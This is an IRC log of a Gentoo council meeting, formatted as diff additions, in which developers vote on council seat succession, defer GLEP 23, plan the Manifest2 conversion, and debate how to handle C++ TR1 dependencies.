+Feb 08 12:11:58 kingtaco|work	ok, lets vote: when a council member leaves his position will be filled by the next candidate in the origional election, subject to unanmious approval of the existing council members
+Feb 08 12:12:00 kloeri	Flameeyes: I check all kinds of development related activities, not just cvs
+Feb 08 12:12:10 kingtaco|work	failing that it's a general election for a reduced term for that spot
+Feb 08 12:12:12 Flameeyes	kloeri, council counting too?
+Feb 08 12:12:17 g2boojum	spb: Would you be happier if the GLEP were amended to permit taking the next on the list (plus confirmation) a possibility for slacker boots, as well?
+Feb 08 12:12:24 kloeri	Flameeyes: of course
+Feb 08 12:12:29 Flameeyes	kingtaco|work, I vote yes
+Feb 08 12:12:31 Flameeyes	kloeri, okay
+Feb 08 12:12:38 spb	g2boojum: either way works for me; i'd just prefer they were consistent
+Feb 08 12:12:52 wolf31o2|mobile	yes
+Feb 08 12:12:53 vapier	i'd just say 'leaving the council'
+Feb 08 12:12:54 kloeri	I vote yes
+Feb 08 12:13:03 kingtaco|work	ok, add "for any reason" to "council member leaves"
+Feb 08 12:13:10 kingtaco|work	I vote yes
+Feb 08 12:13:13 spb	yes
+Feb 08 12:13:39 kingtaco|work	vapier, robbat2|na ?
+Feb 08 12:13:42 wolf31o2|mobile	I'd agree with vapier, etc.  I don't see the need for a new election if the council agrees to have the next person in line take the position unanimously
+Feb 08 12:13:58 vapier	why does the council need to agree
+Feb 08 12:14:15 wolf31o2|mobile	uhh... because that's what we're being asked to vote on
+Feb 08 12:14:15 *	The_Paya (i=the_paya@gentoo/developer/thepaya) has joined #gentoo-council
+Feb 08 12:14:19 wolf31o2|mobile	;]
+Feb 08 12:14:31 kingtaco|work	vapier, you mean agree to the Nth spot?
+Feb 08 12:14:45 vapier	a council member leaves, the next spot is filled by the next person in the list]
+Feb 08 12:14:55 vapier	doesnt matter if the existing council members like that next person
+Feb 08 12:15:06 Flameeyes	vapier, if it happens to be the least preferred member for the council, it would make sense to veto him from joining
+Feb 08 12:15:13 vapier	why
+Feb 08 12:15:17 vapier	it's an elected position
+Feb 08 12:15:18 kingtaco|work	vapier, well, think about it this way
+Feb 08 12:15:43 spb	the alternative to having the council members agree on the replacement is to include 'reopen nominations' on the council ballot and not accept anyone below it
+Feb 08 12:15:46 kingtaco|work	that person that was voted for months ago may not be in the same position when we would put him in the council
+Feb 08 12:15:55 *	rbrown` (n=mynamewa@paludis/contributor/rbrown) has joined #gentoo-council
+Feb 08 12:15:57 kingtaco|work	also note that that person has the right to decline
+Feb 08 12:16:24 wolf31o2|mobile	no they don't
+Feb 08 12:16:27 wolf31o2|mobile	:P
+Feb 08 12:16:29 kingtaco|work	I think having the vote is just a safty clause
+Feb 08 12:16:43 vapier	then it's either we take the next person or we re-open elections
+Feb 08 12:16:49 *	NeddySeagoon (n=NeddySea@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+Feb 08 12:16:51 kingtaco|work	oh yres
+Feb 08 12:16:53 vapier	we cant selectively skip
+Feb 08 12:16:56 kingtaco|work	that's what I'm saying
+Feb 08 12:17:21 kingtaco|work	if we decline the next person it would be a election for that position for a reduced term
+Feb 08 12:17:31 wolf31o2|mobile	right
+Feb 08 12:17:31 kingtaco|work	we as in the current council
+Feb 08 12:17:46 vapier	i'll sign off on that
+Feb 08 12:17:52 kingtaco|work	ok
+Feb 08 12:18:01 kingtaco|work	6 yes, 1 abstain(robbat2)
+Feb 08 12:18:05 kingtaco|work	all good?
+Feb 08 12:18:12 spb	looks it
+Feb 08 12:18:19 kingtaco|work	ok, next item
+Feb 08 12:18:20 Flameeyes	yah
+Feb 08 12:18:21 wolf31o2|mobile	WFM
+Feb 08 12:18:30 kingtaco|work	glep 23 or 44 first?
+Feb 08 12:18:34 kingtaco|work	Flameeyes, you pick
+Feb 08 12:18:44 *	Flameeyes sets modes [#gentoo-council +v solar]
+Feb 08 12:18:49 Flameeyes	solar, you around for the status on 44?
+Feb 08 12:18:55 kingtaco|work	I take it it's 44 then :)
+Feb 08 12:19:10 Flameeyes	kingtaco|work, if he's around :) if he's not, let's go with 23 :)
+Feb 08 12:19:14 kingtaco|work	Flameeyes, it's 12:20 here, he's probably on lunch
+Feb 08 12:19:21 kingtaco|work	ok
+Feb 08 12:19:22 Flameeyes	then 23 would do
+Feb 08 12:19:36 kingtaco|work	so genone wants us to re afferm glep 23 because things have changed
+Feb 08 12:19:40 kingtaco|work	anyone want to talk about it?
+Feb 08 12:19:48 spb	what's changed, specifically?
+Feb 08 12:19:48 vapier	changed how
+Feb 08 12:19:53 kingtaco|work	good question
+Feb 08 12:20:35 kingtaco|work	does sources.g.o track glep repo?
+Feb 08 12:20:36 Flameeyes	for context, and people who have no clue about what 23 is, it's "Handling of ACCEPT_LICENSE"
+Feb 08 12:20:38 *	drac (i=drac@gentoo/developer/drac) has joined #gentoo-council
+Feb 08 12:20:39 kingtaco|work	g2boojum, ^^?
+Feb 08 12:21:01 spb	they're in gentoo/xml/htdocs/
+Feb 08 12:21:05 vapier	well genone isnt on and all i see is http://article.gmane.org/gmane.linux.gentoo.devel/45750
+Feb 08 12:21:37 g2boojum	kingtaco|work: I had assumed you folks knew what the issues were.  I haven't talked to genone about it.
+Feb 08 12:21:38 vapier	http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/glep/
+Feb 08 12:21:39 kingtaco|work	bump it to next month so he can tell us what's changed?
+Feb 08 12:21:40 Flameeyes	I think it's the old discussion of a month or two ago
+Feb 08 12:21:55 wolf31o2|mobile	http://bugs.gentoo.org/show_bug.cgi?id=152593
+Feb 08 12:22:01 Flameeyes	but I admit I didn't really follow it
+Feb 08 12:22:13 wolf31o2|mobile	likely it's the solution to that bug that he wants discussed
+Feb 08 12:22:18 g2boojum	spb: paludis folks have any complaints w/ what genone's doing?
+Feb 08 12:22:33 g2boojum	?
+Feb 08 12:22:46 spb	we already have license filtering, so the only issue is with group syntax and how they're defined
+Feb 08 12:23:10 g2boojum	spb: Think you folks, genone, and pkgcore can come to an agreement?
+Feb 08 12:23:30 wolf31o2|mobile	there's also http://bugs.gentoo.org/show_bug.cgi?id=17367
+Feb 08 12:23:37 vapier	what do other package managers have to do with this ?
+Feb 08 12:23:51 kingtaco|pda	shouldnt this be part ogpkg manager spec?
+Feb 08 12:24:14 wolf31o2|mobile	nothing... as I understand it, he simply wants us to re-approve it, since the ideas have changed a bit since the original GLEP was approved
+Feb 08 12:24:35 spb	kingtaco|pda: it should
+Feb 08 12:24:55 vapier	well we can scratch our heads some more or just ask genone for more info
+Feb 08 12:25:06 vapier	and make sure we tag all topics for relevant info before the meeting so we dont do this
+Feb 08 12:25:07 Flameeyes	afk 1 minute
+Feb 08 12:25:14 kingtaco|pda	ok, bump it
+Feb 08 12:25:14 g2boojum	vapier: My view was that if there's a reasonable consensus on how to implement it, then the council probably doesn't really need to get involved except to approve it after the fact.
+Feb 08 12:25:18 wolf31o2|mobile	looks like our best option is to defer
+Feb 08 12:25:29 spb	the only comments i have on the glep as it is are (1) NON-MUST-HAVE-READ is a stupid name, and (2) is it legal to negate a license group?
+Feb 08 12:25:34 solar	Flameeyes: pong
+Feb 08 12:25:48 kingtaco|pda	solar glep 44
+Feb 08 12:25:51 wolf31o2|mobile	but I would recommend everyone check out those two bugs
+Feb 08 12:25:59 vapier	spb: something to post to the list
+Feb 08 12:26:03 Flameeyes	back
+Feb 08 12:26:06 vapier	wolf31o2: you already know my position on * :p
+Feb 08 12:26:07 kloeri	deferring seems to be the best option now I agree
+Feb 08 12:26:17 Flameeyes	yeah deferring is a good idea
+Feb 08 12:26:27 spb	vapier: yeah, hence i say defer
+Feb 08 12:26:40 kingtaco|work	ok, defered
+Feb 08 12:26:50 kingtaco|work	Flameeyes, solar: glep44 time
+Feb 08 12:27:01 solar	KingTaco: it seems to be progressing well. Flameeyes has been really on top of things. In the last few days he took the tree from 10% not ready to 7%. Maybe in a few weeks we will be able to make that cut over
+Feb 08 12:27:17 wolf31o2|mobile	spb: I agree that #1 is stupid... and #2, as I remember it, was that a group could only include licenses, not negate them, but it would be legal syntax to allow a negated group in ACCEPT_LICENSE... so you can --@OSI-APPROVED, but @OSI-APPROVED couldn't have -VMWARE (or something like that)
+Feb 08 12:27:18 Flameeyes	there is one problem though
+Feb 08 12:27:29 kingtaco|work	solar, tbh, I'm not sure what flameeyes wants to talk about so I'll defer to him
+Feb 08 12:28:02 Flameeyes	there are a few packages that are currently unmaintained (officially, or simply because the herd they belong to does not exist anymore)
+Feb 08 12:28:13 Flameeyes	and of those, there are quite a few that misses an upstream package
+Feb 08 12:28:28 Flameeyes	what are we up to do with them?
+Feb 08 12:28:34 wolf31o2|mobile	are they not on our mirrors?
+Feb 08 12:28:38 solar	when you say upstream you are saying they are on the mirrors but the SRC_URI has expired
+Feb 08 12:28:41 Flameeyes	do we consider glep44 an high enough priority to mess with them?
+Feb 08 12:28:47 Flameeyes	solar, yes
+Feb 08 12:29:05 Flameeyes	the quick and dirty solution is to use mirror://gentoo/ for those files
+Feb 08 12:29:07 wolf31o2|mobile	if they're on the mirrors, I would say leave them alone, if they're neither in SRC_URI or the mirrors, they need to be axed
+Feb 08 12:29:16 solar	Well the timeframe was about 1 year. That glep comes from 04-Dec-2005
+Feb 08 12:29:24 kingtaco|work	mess with them how?  isn't it simply regenerating the digests?
+Feb 08 12:29:29 spb	my comment on this is that PMS in its current state only describes Manifest2 and not the old-style digest/manifest
+Feb 08 12:29:45 Flameeyes	kingtaco|work, see the missing SRC_URI url
+Feb 08 12:29:47 wolf31o2|mobile	PMS?
+Feb 08 12:29:50 spb	so it'd be nice to have the tree completely converted by the time that gets implemented
+Feb 08 12:29:54 spb	wolf31o2|mobile: package manager spec
+Feb 08 12:29:57 wolf31o2|mobile	k
+Feb 08 12:29:59 kloeri	just change them to mirror://gentoo/ where possible
+Feb 08 12:30:04 kingtaco|work	if there is no upstream URI then change to mirror://gentoo and if it's not on our mirrors, pull the shit from the tree
+Feb 08 12:30:13 wolf31o2|mobile	agreed
+Feb 08 12:30:41 wolf31o2|mobile	Flameeyes: I'm willing to help you with this if you need it to try to get this done quicker... I'd *love* to be able to make the cut for 2007.0
+Feb 08 12:30:41 *	genstef (n=genstef@gentoo/developer/genstef) has left #gentoo-council
+Feb 08 12:30:56 Flameeyes	if we all agree on that, I'll see to fix the pacakges updating SRC_URI when needed (and opening a reference bug for safety)
+Feb 08 12:31:45 Flameeyes	vapier, there are a few of your packages and base-system packages too
+Feb 08 12:31:59 vapier	when arent there
+Feb 08 12:32:04 kingtaco|work	ok, so we seem to agree on the course of action for these packages, is there anything we need to vote on or discuss more?
+Feb 08 12:32:40 Flameeyes	well, I would ask if I can just go on and fix the tree at once or if I need to clear it up with all the maintainers
+Feb 08 12:32:59 spb	if you're not making substantive changes then i don't see the problem
+Feb 08 12:32:59 *	christel (i=christel@freenode/staff/gentoo.christel) has joined #gentoo-council
+Feb 08 12:33:00 Flameeyes	[considering that the list of packages fixed by me is generated and easily found, as I'm using a standard commit message
+Feb 08 12:33:02 solar	So target deadline is before 2007.0 snapshots begin? Can you give us a rough idea when that is planned for?
+Feb 08 12:33:26 Flameeyes	solar, maybe too soon
+Feb 08 12:33:34 wolf31o2|mobile	it very well might be... the plan in Monday
+Feb 08 12:33:35 kingtaco|work	Flameeyes, can you generate a list of ebuilds that need fixing?
+Feb 08 12:33:42 Flameeyes	kingtaco|work, I have it already
+Feb 08 12:33:55 solar	can you post it for everybody else?
+Feb 08 12:33:57 Flameeyes	http://rafb.net/p/s2xMEr38.html
+Feb 08 12:34:02 Flameeyes	solar, was nopasting it already :)
+Feb 08 12:34:07 kingtaco|work	Flameeyes, lets script emails to the maintainers and give them a week or 2 to fix then fix them ourselves
+Feb 08 12:34:19 Flameeyes	kingtaco|work, that would miss the snapshot
+Feb 08 12:34:30 kingtaco|work	hrm
+Feb 08 12:34:37 wolf31o2|mobile	if that's the consensus, I'm fine with that
+Feb 08 12:34:47 wolf31o2|mobile	but we're not pushing the snapshot >= 2 weeks
+Feb 08 12:34:54 spb	i'm in favour of just doing it
+Feb 08 12:34:58 Flameeyes	me too
+Feb 08 12:34:58 wolf31o2|mobile	as am I
+Feb 08 12:35:06 wolf31o2|mobile	it's just Manifest generation
+Feb 08 12:35:10 kingtaco|work	ok, I'll ride the wagon
+Feb 08 12:35:16 kloeri	yeah, just do it
+Feb 08 12:35:20 spb	it shouldn't involve any substantive ebuild changes
+Feb 08 12:35:27 kingtaco|work	vapier, you game?
+Feb 08 12:35:33 spb	just regenerating stuff that's regenerated on every commit
+Feb 08 12:35:34 wolf31o2|mobile	right
+Feb 08 12:35:36 kloeri	and let ebuild maintainers worry about real bugs
+Feb 08 12:35:51 wolf31o2|mobile	so who's planning on doing this work? us?
+Feb 08 12:36:00 Flameeyes	I can do it overnight
+Feb 08 12:36:02 kingtaco|work	sounds like flameeyes is
+Feb 08 12:36:03 vapier	considering all you're doing is rebuilding digests, just do it now ;p
+Feb 08 12:36:06 wolf31o2|mobile	I volunteer
+Feb 08 12:36:14 wolf31o2|mobile	Flameeyes: I'll do games-*
+Feb 08 12:36:19 kingtaco|work	were I not at scale this weekend I'd help
+Feb 08 12:36:19 wolf31o2|mobile	Flameeyes: I see there's a bunch of them
+Feb 08 12:36:31 vapier	it isnt like you're changing the ebuild
+Feb 08 12:36:38 wolf31o2|mobile	right
+Feb 08 12:36:45 Flameeyes	wolf31o2|mobile, okay, that's really good to hear as there are a few that aren't fetchable to begin with iirc
+Feb 08 12:36:45 kingtaco|work	ok
+Feb 08 12:36:56 kingtaco|work	next topic
+Feb 08 12:37:00 kingtaco|work	if we have them
+Feb 08 12:37:01 wolf31o2|mobile	the only concern I have is there's a possible bug in pycrypto... it hasn't been confirmed yet, though
+Feb 08 12:37:06 kloeri	Flameeyes: I can do dev-python if you like
+Feb 08 12:37:29 wolf31o2|mobile	http://bugs.gentoo.org/show_bug.cgi?id=164462 <---
+Feb 08 12:37:50 kingtaco|work	nothing else on the list, anyone got anything else before the floor opens?
+Feb 08 12:37:58 Flameeyes	wolf31o2|mobile, not the same as last time?
+Feb 08 12:37:59 wolf31o2|mobile	I don't think that should stop us, but if we find it is a bug, it might keep us from doing the switch for 2007.0
+Feb 08 12:38:12 wolf31o2|mobile	Flameeyes: dunno... I haven't verified it just yet
+Feb 08 12:38:23 g2boojum	tr1?
+Feb 08 12:38:25 kingtaco|work	ah
+Feb 08 12:38:39 kingtaco|work	g2boojum, iirc you wanted us to talk about it, but what is there to talk about?
+Feb 08 12:39:03 g2boojum	kingtaco|work: It'd be nice to have an executive decision on how to handle tr1 support in portage.
+Feb 08 12:39:07 Flameeyes	ah, for a note, don't use ebuild .. digest if possible, or it would override the digest check of FEATURES=strict
+Feb 08 12:39:24 Flameeyes	just run echangelog and repoman commit
+Feb 08 12:39:32 g2boojum	There's general agreement that none of the current ideas are fabulous, but something is going to have to be chosen relatively soon.
+Feb 08 12:39:36 kingtaco|work	g2boojum, I don't think most of us have an oppinion as it is
+Feb 08 12:39:41 kingtaco|work	portage doesn't use it
+Feb 08 12:39:42 g2boojum	s/ideas/solutions/
+Feb 08 12:39:49 Flameeyes	I've used "Regenerate digest in Manifest2 format." for all the commits, so that the list is regenerated by grepping for the string
+Feb 08 12:39:58 kloeri	g2boojum: I think the best proposal so far is ciaranms many virtuals
+Feb 08 12:40:10 g2boojum	kingtaco|work: Um, true only because portage is python, and C.
+Feb 08 12:40:22 kingtaco|work	indeed
+Feb 08 12:40:30 kingtaco|work	so it'
+Feb 08 12:40:37 g2boojum	kingtaco|work: It will still affect the portage tree, once people start writing packages that rely on tr1 support in g++.
+Feb 08 12:40:38 spb	kloeri: unfortunately true. which is a pity, because that solution is a pain in the arse
+Feb 08 12:40:48 kloeri	spb: completely agree
+Feb 08 12:40:56 kingtaco|work	so as I see it, tr1 support is a dep of some packages where they can either dep on boost or gcc4
+Feb 08 12:41:05 wolf31o2|mobile	Flameeyes: k
+Feb 08 12:41:22 kingtaco|work	can't we have a simple virtual of boost || gcc-4.1 ?
+Feb 08 12:41:28 Flameeyes	[reason for regenerating the list is that those packages are good candidates for new maintainers and/or removal]
+Feb 08 12:41:30 kloeri	kingtaco|work: gcc-4.1 or boost, yes
+Feb 08 12:41:32 spb	kingtaco|work: the problem is that right now nothing implements all of tr1, and the bits that various things implement are all different
+Feb 08 12:41:37 kingtaco|work	maybe a tr1.eclass that does some sanity checks
+Feb 08 12:42:11 vapier	if we simply forced people to stop being lazy and get their arches onto gcc-4.1, then we'd be set ;)
+Feb 08 12:42:16 kingtaco|work	so upstream is using broken libraries
+Feb 08 12:42:20 spb	vapier: not quite
+Feb 08 12:42:24 g2boojum	kingtaco|work: Not really, because in time there's an expectation that people will remove boost tr1 support in favor of support built-into g++, but removing a c++ lib will break compiled packages.
+Feb 08 12:42:29 *	iluxa (n=anonymou@gentoo/developer/iluxa) has joined #gentoo-council
+Feb 08 12:42:30 spb	if something starts using tr1 regexes you have problems again
+Feb 08 12:42:42 vapier	if it isnt in the compiler then dont use it
+Feb 08 12:42:43 g2boojum	kingtaco|work: So || won't really work well.
+Feb 08 12:42:48 vapier	boost sucks
+Feb 08 12:42:48 *	Flameeyes sets modes [#gentoo-council +v Betelgeuse]
+Feb 08 12:42:51 kingtaco|work	fyi, jokey likes the tr1.eclass idea
+Feb 08 12:42:54 kingtaco|work	(from pm)
+Feb 08 12:42:59 Flameeyes	Betelgeuse has another proposal too
+Feb 08 12:43:16 Betelgeuse	This can be solved by || ( ) deps that lock to the version at compile time
+Feb 08 12:43:18 spb	vapier: 4.2 and 4.3 have bits of tr1 that 4.1 doesn't, as do boost and stlport iirc
+Feb 08 12:43:24 Betelgeuse	But that would be EAPI=1 most likely
+Feb 08 12:43:38 spb	Betelgeuse: it's also a pain in the arse
+Feb 08 12:43:58 spb	what if i use a feature of tr1 that at present is only implemented by boost, but gets support for it in, say, gcc-4.3?
+Feb 08 12:43:59 kingtaco|work	so there is no full implementation of tr1 yet
+Feb 08 12:44:22 Betelgeuse	spb: you would use boost:: any way
+Feb 08 12:44:25 kingtaco|work	I'd say packages that use tr1 type features should hard dep on whatever provides those features
+Feb 08 12:44:28 vapier	how many packages actually leverage tr1
+Feb 08 12:44:28 g2boojum	kingtaco|work: There is, but it's boost, which, as vapier points out, "sucks".
+Feb 08 12:44:29 spb	then with the || ( ) dep thing you'd have to go through and update every ebuild using it for the new dep
+Feb 08 12:44:32 kingtaco|work	I'd still use an eclass for sanity checks
+Feb 08 12:44:40 Betelgeuse	spb: The sources having the wrapper would need mos any way.
+Feb 08 12:45:00 vapier	"every ebuild" isnt a big deal if we're talking a handful of packages
+Feb 08 12:45:00 kingtaco|work	we could hard dep on boost until gcc gets full tr1 support
+Feb 08 12:45:08 Betelgeuse	spb: nothing is saying that we could not have the binding in the virtual
+Feb 08 12:45:22 Flameeyes	how many packages are we talking about?
+Feb 08 12:45:34 Flameeyes	I wouldn't go to something like 10 virtuals if the packages using them are 3 or 4
+Feb 08 12:46:01 spb	Flameeyes: if we go the virtuals route i'd add them one at a time as needed
+Feb 08 12:46:04 kingtaco|work	g2boojum, it might suck today, that doesn't mean it'll suck tomorrow
+Feb 08 12:46:19 Flameeyes	spb, that doesn't stop them from being 10 virtuals even if they are 3 packages
+Feb 08 12:46:21 spb	kingtaco|work: it's sucked for the last five years; no reason to suppose it'll change
+Feb 08 12:46:30 Flameeyes	because they might be using 10 different features of tr1
+Feb 08 12:46:36 spb	at the moment the issue is mainly with tr1-memory
+Feb 08 12:46:47 g2boojum	kingtaco|work: Oh, the code in boost is excellent.  The problem is that you need almost all of it, and it's huge, for tr1.
+Feb 08 12:46:48 spb	which means right now it'll be one or two virtuals
+Feb 08 12:47:12 kingtaco|work	I guess I don't see what the big deal is that an ebuild deps on what it needs, perhaps a eclass to do sanity checks
+Feb 08 12:47:15 Flameeyes	nobody has a figure of how many packages are using tr1?
+Feb 08 12:47:26 spb	kingtaco|work: 11M of source is a hell of a lot for a single shared pointer class
+Feb 08 12:47:35 kingtaco|work	if it only needs gcc tr1 support then it should dep on the minimum gcc
+Feb 08 12:48:06 spb	except that not all archs have that gcc available
+Feb 08 12:48:21 kingtaco|work	spb, I'd argue that the whole concept is crap, and that none of it is ever needed with proper programming, but it's not something that we need to go into now
+Feb 08 12:48:33 kloeri	Flameeyes: don't have any figures on that but grepping the tree for boost deps should give you some idea I guess
+Feb 08 12:48:38 spb	define 'proper programming'
+Feb 08 12:48:43 *	Flameeyes sets modes [#gentoo-council +v jeeves]
+Feb 08 12:48:46 Flameeyes	!ddep boost
+Feb 08 12:48:47 jeeves	yikes 44 pkgs reverse depend on boost! Try digging around here instead. http://tinderbox.dev.gentoo.org/misc/dindex/
+Feb 08 12:48:49 vapier	assuming the boost requirement is for TR1
+Feb 08 12:48:58 kingtaco|work	spb, not difficult to manage your own pointers
+Feb 08 12:48:58 g2boojum	Flameeyes: Probably not.  The worry isn't so much the current number of packages, but there's evidence that a lot of folks are planning to jump on the tr1 bandwagon quite soon.
+Feb 08 12:49:01 vapier	and not just for one of the bajillion other things boost provides
+Feb 08 12:49:04 spb	kingtaco|work: hah
+Feb 08 12:49:10 kloeri	it's going to expand in the future as well
+Feb 08 12:49:16 kingtaco|work	anyway
+Feb 08 12:49:28 kingtaco|work	it doesn't matter what you or I think about those that use this library
+Feb 08 12:49:39 Flameeyes	g2boojum, there are often a lot of evidences that a lot of folks are jumping on a lot of bandwagons.... I don't like to get decisions over those evidences
+Feb 08 12:49:42 kingtaco|work	people are using it so we have to support it
+Feb 08 12:49:57 kingtaco|work	but I still don't know why it has to be treated differently than any other dep
+Feb 08 12:50:01 kloeri	vapier: yes, only a vague idea as some packages might just require >=gcc-4.1 instead of boost etc.
+Feb 08 12:50:06 Flameeyes	vapier, let's say that 1/4 of those packages need tr1 right now? would that make any sense?
+Feb 08 12:50:28 spb	kingtaco|work: if we had a complete implementation of tr1 anywhere then it would be simple
+Feb 08 12:50:59 kingtaco|work	spb, surely upstreams that use tr1 would say "use gcc" or "use boost" or "use libtr1"
+Feb 08 12:51:29 spb	kingtaco|work: most of them will use tr1::shared_ptr and have configure.ac check whether gcc has it and include wrapper code for boost's implementation if it doesn't
+Feb 08 12:51:57 kingtaco|work	ok
+Feb 08 12:52:12 spb	except that if you happen to be using a different STL implementation then the configure check will see it in the standard library and use that version instead of boost or gcc
+Feb 08 12:53:03 kingtaco|work	so, follow me here for a sec
+Feb 08 12:53:14 kingtaco|work	say we made all tr1 ebuilds dep on boost
+Feb 08 12:53:17 *	diox (n=diox@gentoo/developer/diox) has joined #gentoo-council
+Feb 08 12:53:36 kingtaco|work	most of them at compile time would detect that gcc has what they need from tr1 and ignore boost
+Feb 08 12:53:38 kingtaco|work	right?
+Feb 08 12:53:46 spb	but boost is still pulled into the depgraph
+Feb 08 12:53:51 spb	and boost is fucking huge
+Feb 08 12:53:56 kingtaco|work	right
+Feb 08 12:54:05 kingtaco|work	but you only have to compile it once
+Feb 08 12:54:18 spb	except that in most cases you don't have to compile it at all
+Feb 08 12:54:43 kingtaco|work	then why can't the ebuilds for these packages dep on the proper thing?
+Feb 08 12:54:44 spb	it's kinda like saying that vim should always build gvim as well because you only have to compile X once
+Feb 08 12:54:47 Flameeyes	sincerely, I'd just use || ( ) deps until the size of the involved tree is assessed
+Feb 08 12:54:51 kingtaco|work	if it works with gcc 4.1, then dep on it
+Feb 08 12:54:59 kingtaco|work	if it doesn't dep on boost
+Feb 08 12:55:05 Flameeyes	if the packages needing tr1 grew a lot, go with virtuals
+Feb 08 12:55:07 spb	depping on 4.1 doesn't work on platforms that don't have it yet
+Feb 08 12:55:14 kingtaco|work	from what you tell me, noone in their right mind would use boost where gcc is available
+Feb 08 12:55:21 Flameeyes	I wouldn't go with virtuals right away, because we don't know the size
+Feb 08 12:55:56 kingtaco|work	spb, which brings us back to virtual/tr1
+Feb 08 12:56:11 spb	kingtaco|work: except that there is nothing that provides all of tr1
+Feb 08 12:56:17 kingtaco|work	indeed
+Feb 08 12:56:22 kingtaco|work	so there isn't a good solution
+Feb 08 12:56:41 kingtaco|work	other than messy mips?(boost):(gcc-4) type stuff
+Feb 08 12:56:41 Flameeyes	and we have no figure of what's needed, which makes it difficult to get the pro/cons of the various options
+Feb 08 12:56:47 Flameeyes	as none of them is "pro only"
+Feb 08 12:56:48 g2boojum	Which was why ciaranm suggested virtual/tr1-memory, virtual/tr1-...
+Feb 08 12:57:02 spb	g2boojum: which kinda sucks, but is the best option anyone's suggested yet
+Feb 08 12:57:22 Flameeyes	g2boojum, which wouldn't really be good if you had 10 virtuals and 4 packages using them ...
+Feb 08 12:57:40 vapier	so just create virtuals as packages need them
+Feb 08 12:58:00 vapier	whether it be virtuals or a tr1.eclass, it's going to be chunky
+Feb 08 12:58:06 kingtaco|work	Flameeyes, the assumption is that more packages will use tr1 as time goes on
+Feb 08 12:58:13 kingtaco|work	I'm not sure I buy it, but meh
+Feb 08 12:58:18 kingtaco|work	I simply don't know
+Feb 08 12:58:24 Flameeyes	kingtaco|work, and as time goes on, _if_ they are going to do it, we can change the solution
+Feb 08 12:58:32 Flameeyes	it's not like we need to write it in stone once and forever
+Feb 08 12:58:33 spb	they are going to
+Feb 08 12:58:35 kingtaco|work	what's the solution now then?
+Feb 08 12:58:38 spb	it's far too useful not to
+Feb 08 12:58:40 Flameeyes	spb, you a time traveler?
+Feb 08 12:58:57 kingtaco|pda	anyway
+Feb 08 12:58:59 spb	Flameeyes: no; i just know that a lot of people writing C++ code have a vague degree of common sense
+Feb 08 12:59:06 Flameeyes	there are a lot of things that are far too useful not to do, but still not many people do that
+Feb 08 12:59:21 Flameeyes	spb, so? you can still not be sure of what happens
+Feb 08 12:59:28 kingtaco|pda	ahm
+Feb 08 12:59:56 kloeri	tr1 is definitely going to be used much more as it's (an upcoming) part of the standard library
+Feb 08 12:59:59 Flameeyes	you can't _guarantee_ that anybody is going to use it more than now, at least not grow to a size that would make us good to go with virtuals
+Feb 08 12:59:59 spb	i can make an educated guess with reasonable certainty
+Feb 08 13:00:07 kloeri	it's not some random library we're talking about
+Feb 08 13:00:19 kingtaco|pda	flame what do you propose as a immediate replacement for virtuals?
+Feb 08 13:00:45 Flameeyes	kingtaco|pda, well, I would be for first assessing the number of packages that requires the virtuals
+Feb 08 13:00:50 Flameeyes	and the number of required virtuals
+Feb 08 13:00:54 kingtaco|pda	until more stuff starts using tr1
+Feb 08 13:01:16 kingtaco|pda	assume the num doesnt justify virts
+Feb 08 13:01:17 Flameeyes	if you get more virtuals, or a size of virtuals that is more or less the same of the packages, I would just use || ( ) rather than virtuals
+Feb 08 13:01:21 *	djay-il|work (n=alex@bzq-88-152-191-182.red.bezeqint.net) has joined #gentoo-council
+Feb 08 13:01:43 Flameeyes	[which with new-style virtuals is more or less equivalent, just requires peripheral maintainership rather than central]
+Feb 08 13:01:55 Flameeyes	if the size justify the use of virtuals, go for it
+Feb 08 13:02:01 Flameeyes	adding new-style virtuals has a cost on the tree
+Feb 08 13:02:33 spb	if very few packages pick up on tr1 then virtuals have a slight disadvantage
+Feb 08 13:02:46 spb	if lots of packages pick up on tr1 then not doing virtuals now has a big disadvantage
+Feb 08 13:02:51 Flameeyes	right
+Feb 08 13:02:56 spb	the latter is more likely than the former
+Feb 08 13:03:07 spb	which brings it down to a question of expected effort, and virtuals win
+Feb 08 13:03:14 Flameeyes	I wouldn't asses the likelyness on this, as it's quite debatable
+Feb 08 13:03:24 kloeri	out of all the proposed solutions I still prefer the virtuals tbh
+Feb 08 13:03:29 spb	ok, assume they're equally likely if you want
+Feb 08 13:03:39 spb	the virtuals still win on expected effort
+Feb 08 13:03:51 Flameeyes	not for 10 or 20 new virtuals, imho
+Feb 08 13:04:06 spb	noone's asking you to create them
+Feb 08 13:04:18 kingtaco|work	Flameeyes, working on your assumption that it's not useful, whats the disadvantage(other than a few more files in the tree) to using virtuals?
+Feb 08 13:04:47 Flameeyes	spb, I beg you not to get it personal, the council's opinion was asked, I'm saying what I think
+Feb 08 13:05:01 g2boojum	Flameeyes: If I may ask, why do you feel that it's debatable?  I'm finding it hard to believe that people won't use new libraries that will be in the C++ standard, but you may well know something I don't.
+Feb 08 13:05:12 kingtaco|work	spb, and given that different arches will implement tr1 differently(boost vs gcc) how will virtuals help ?
+Feb 08 13:05:32 spb	kingtaco|work: far far easier to put arch? ( ) deps in a virtual than in twelve packages
+Feb 08 13:06:06 kingtaco|work	why not a eclass then?
+Feb 08 13:06:17 spb	what would the eclass do?
+Feb 08 13:06:20 Flameeyes	kingtaco|work, there's at least one bug with virtuals handling right now if you get naming collision, so I wouldn't abuse virtuals too much; the size of the tree is indeed also a concern to me, and more packages you got installed locally more time it takes to create the depgraph
+Feb 08 13:06:40 kingtaco|work	the same thing as virtuals but with more control
+Feb 08 13:06:51 kingtaco|work	you can add to DEPEND in an eclass
+Feb 08 13:06:59 spb	ten virtuals will have zero noticeable impact on the size of the tree
+Feb 08 13:07:02 kloeri	well, name collisions shouldn't be an issue as we already know about that
+Feb 08 13:07:22 kloeri	just avoid silly name collisions
+Feb 08 13:07:23 spb	the chances of someone creating a package named tr1-memory in another category are minimal
+Feb 08 13:07:33 Flameeyes	ten virtuals without need every two weeks will kill us most likely
+Feb 08 13:07:48 kingtaco|work	every 2 weeks?
+Feb 08 13:07:50 kingtaco|work	explain
+Feb 08 13:07:52 spb	ten virtuals once with good justification won't
+Feb 08 13:07:53 kloeri	ehh, we're not talking about every two weeks at all
+Feb 08 13:08:01 Flameeyes	kingtaco|work, just figurative
+Feb 08 13:08:04 kingtaco|work	ok
+Feb 08 13:08:05 kloeri	this is a fairly rare occasion
+Feb 08 13:08:24 Flameeyes	spb, I still have to see the assessment for their justification, I'm not turning them down entirely from the start
